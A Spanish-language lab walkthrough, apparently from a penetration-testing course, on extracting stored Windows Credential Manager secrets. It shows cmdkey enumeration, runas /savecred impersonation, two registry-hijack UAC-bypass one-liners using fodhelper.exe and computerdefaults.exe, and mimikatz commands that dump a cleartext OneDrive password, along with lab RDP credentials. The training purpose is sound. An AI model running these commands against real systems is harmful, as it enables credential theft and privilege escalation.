🔑Atacando Windows Credential Manager
Administrador de credenciales y bóveda de Windows
El Administrador de Credenciales es una función integrada en Windows desde Server 2008 R2
y Windows 7
. No se dispone de documentación completa sobre su funcionamiento, pero, en esencia, permite a los usuarios y aplicaciones almacenar de forma segura las credenciales relevantes para otros sistemas y sitios web. Las credenciales se almacenan en carpetas cifradas especiales en el equipo, dentro de los perfiles de usuario y sistema ( MITRE ATT&CK ).
%UserProfile%\AppData\Local\Microsoft\Vault\
%UserProfile%\AppData\Local\Microsoft\Credentials\
%UserProfile%\AppData\Roaming\Microsoft\Vault\
%ProgramData%\Microsoft\Vault\
%SystemRoot%\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault\
Cada carpeta de bóveda contiene un archivo Policy.vpol
con claves AES (AES-128 o AES-256) protegidas por DPAPI. Estas claves AES se utilizan para cifrar las credenciales. Las versiones más recientes de Windows utilizan Credential Guard
seguridad basada en virtualización para proteger aún más las claves maestras DPAPI almacenándolas en enclaves de memoria seguros .
Microsoft suele referirse a los almacenes protegidos como Credential Lockers
(anteriormente Windows Vaults
). El Administrador de Credenciales es la función/API orientada al usuario, mientras que los almacenes cifrados reales son las carpetas de bóveda/bloqueo. La siguiente tabla enumera los dos tipos de almacenes de credenciales de Windows:
Nombre
Descripción
Credenciales web
Credenciales asociadas a sitios web y cuentas en línea. Este bloqueo se utiliza en Internet Explorer y versiones anteriores de Microsoft Edge.
Credenciales de Windows
Se utiliza para almacenar tokens de inicio de sesión para varios servicios, como OneDrive, y credenciales relacionadas con usuarios del dominio, recursos de red local, servicios y directorios compartidos.

Es posible exportar las Bóvedas de Windows a archivos .crd
mediante el Panel de Control o con el siguiente comando. Las copias de seguridad creadas de esta manera se cifran con una contraseña proporcionada por el usuario y pueden importarse a otros sistemas Windows.
C:\Users\sadams> rundll32 keymgr.dll,KRShowKeyMgr

Enumeración de credenciales con cmdkey
Podemos usar cmdkey para enumerar las credenciales almacenadas en el perfil del usuario actual:
C:\Users\sadams> whoami
srv01\sadams
C:\Users\sadams>cmdkey /list
Currently stored credentials:
Target: WindowsLive:target=virtualapp/didlogical
Type: Generic
User: 02hejubrtyqjrkfi
Local machine persistence
Target: Domain:interactive=SRV01\mcharles
Type: Domain Password
User: SRV01\mcharles
Las credenciales almacenadas se enumeran con el siguiente formato:
Llave
Valor
Objetivo
El nombre del recurso o la cuenta a la que corresponde la credencial. Puede ser una computadora, un nombre de dominio o un identificador especial.
Tipo
El tipo de credencial. Los tipos más comunes son Generic
para credenciales generales y Domain Password
para inicios de sesión de usuarios de dominio.
Usuario
La cuenta de usuario asociada con la credencial.
Persistencia
Algunas credenciales indican si una credencial se guarda de forma persistente en la computadora; las credenciales marcadas con Local machine persistence
sobreviven a los reinicios.
La primera credencial en la salida del comando anterior, virtualapp/didlogical
es una credencial genérica utilizada por la cuenta Microsoft/servicios de Windows Live. El nombre de usuario, de aspecto aleatorio, es un ID de cuenta interno. Esta entrada puede ignorarse para nuestros fines.
La segunda credencial, Domain:interactive=SRV01\mcharles
, es una credencial de dominio asociada al usuario SRV01\mcharles. Esto significa que se utiliza para sesiones de inicio de sesión interactivas
. Siempre que encontremos este tipo de credencial, podemos usarla runas
para suplantar la identidad del usuario almacenado, como se muestra a continuación:
C:\Users\sadams> runas /savecred /user:SRV01\mcharles cmd
Attempting to start cmd as user "SRV01\mcharles" ...

Extracción de credenciales con Mimikatz
Existen muchas herramientas diferentes para descifrar las credenciales almacenadas. Una de ellas es mimikatz . Incluso dentro de mimikatz
, existen múltiples maneras de atacar estas credenciales: podemos volcarlas de la memoria usando el módulo sekurlsa
o descifrarlas manualmente dpapi
. En este ejemplo, usaremos sekurlsa
como objetivo el proceso LSASS :
C:\Users\Administrator\Desktop> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::credman
...SNIP...
Authentication Id : 0 ; 630472 (00000000:00099ec8)
Session : RemoteInteractive from 3
User Name : mcharles
Domain : SRV01
Logon Server : SRV01
Logon Time : 4/27/2025 2:40:32 AM
SID : S-1-5-21-1340203682-1669575078-4153855890-1002
credman :
[00000000]
* Username : mcharles@inlanefreight.local
* Domain : onedrive.live.com
* Password : ...SNIP...
...SNIP...
Caso práctico
Objetivo: 10.129.16.138
RDP con usuario "sadams" y contraseña "totally2brow2harmon@"
¿Cuál es la contraseña que usa
mcharles
para OneDrive?
Nos conectamos por RDP:
xfreerdp /v:10.129.16.138 /u:sadams /p:totally2brow2harmon@ /drive:home,"/home/kali/Escritorio/hack-tools/WINDOWS"
Podríamos intentar exportar la bóveda de contraseñas con el siguiente comando:
C:\Users\sadams> rundll32 keymgr.dll,KRShowKeyMgr

Elegimos una ruta y un nombre y le ponemos la contraseña 1234:

Nos genera el archivo .crd que podríamos importar en otros sistemas Windows, pero vamos a obtener las credenciales.
Enumerar credenciales con cmdkey
C:\Users\sadams>cmdkey /list
Currently stored credentials:
Target: Domain:interactive=SRV01\mcharles
Type: Domain Password
User: SRV01\mcharles
Parece que no obtenemos ninguna credencial en plano pero vemos que hay credenciales guardadas en memoria del usuario mcharles.
Impersonar al usuario mcharles
Usaremos las credenciales almacenadas en memoria para impersonar al usuario mcharles:
C:\Users\sadams> runas /user:SRV01\mcharles /savecred cmd

Herramientas de interfaz gráfica como Credential Manager y keymgr.dll no mostraban las credenciales de OneDrive. Las bóvedas y el registro también estaban vacíos. En este punto, era evidente que el laboratorio necesitaba acceso de administrador para continuar.
Omitir el UAC mediante fodhelper.exe
Primero tenemos que omitir el UAC y luego obtenemos acceso de administrador.
Podemos usar dos payloads, puedes probar una carga útil que prefieras.
Usando fodhelper.exe
:
reg add HKCU\Software\Classes\ms-settings\shell\open\command /f /ve /t REG_SZ /d "cmd.exe" && start fodhelper.exe
Usando computerdefaults.exe
:
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /t REG_SZ /d "" /f && reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /t REG_SZ /d "cmd.exe" /f && start computerdefaults.exe
Al abrir el CMD y escribir whoami
, seguirá apareciendo que somos mcharles
. Sin embargo, ahora podemos acceder a la carpeta del administrador y tener acceso completo.
C:\Windows\system32>whoami
srv01\mcharles
C:\Windows\system32>cd C:\Users\Administrator\Desktop
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 03BC-D3A9
Directory of C:\Users\Administrator\Desktop
04/27/2025 07:57 AM <DIR> .
04/27/2025 07:57 AM <DIR> ..
0 File(s) 0 bytes
2 Dir(s) 4,318,109,696 bytes free
Cómo nos hemos conectado por RDP compartiendo nuestra carpeta de hack-tools de nuestro Kali, enviaremos el binario de Mimikatz para extraer contraseñas.

La única ruta que tenemos accesible es la de sadams
, por lo que la copiaremos en el escritorio:

Una vez que tenemos Mimikatz en el escritorio de sadams, lo copiaremos a nuestra ruta actual:
C:\Users\Administrator\Desktop> copy C:\Users\sadams\Desktop\mimikatz.exe C:\Users\Administrator\Desktop
1 file(s) copied.
C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is 03BC-D3A9
Directory of C:\Users\Administrator\Desktop
07/23/2025 01:30 PM <DIR> .
07/23/2025 01:30 PM <DIR> ..
09/19/2022 09:44 AM 1,355,264 mimikatz.exe
Extraer vault con mimikatz
Ahora ejecutamos Mimikatz con mimikatz.exe
:
C:\Users\Administrator\Desktop> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # vault::cred
TargetName : onedrive.live.com / <NULL>
UserName : mcharles@inlanefreight.local
Comment : <NULL>
Type : 1 - generic
Persist : 3 - enterprise
Flags : 00000000
Credential : Inlanefreight#2025
Attributes : 0
Bingo! Obtenemos la contraseña de OneDrive en plano.
Última actualización
¿Te fue útil?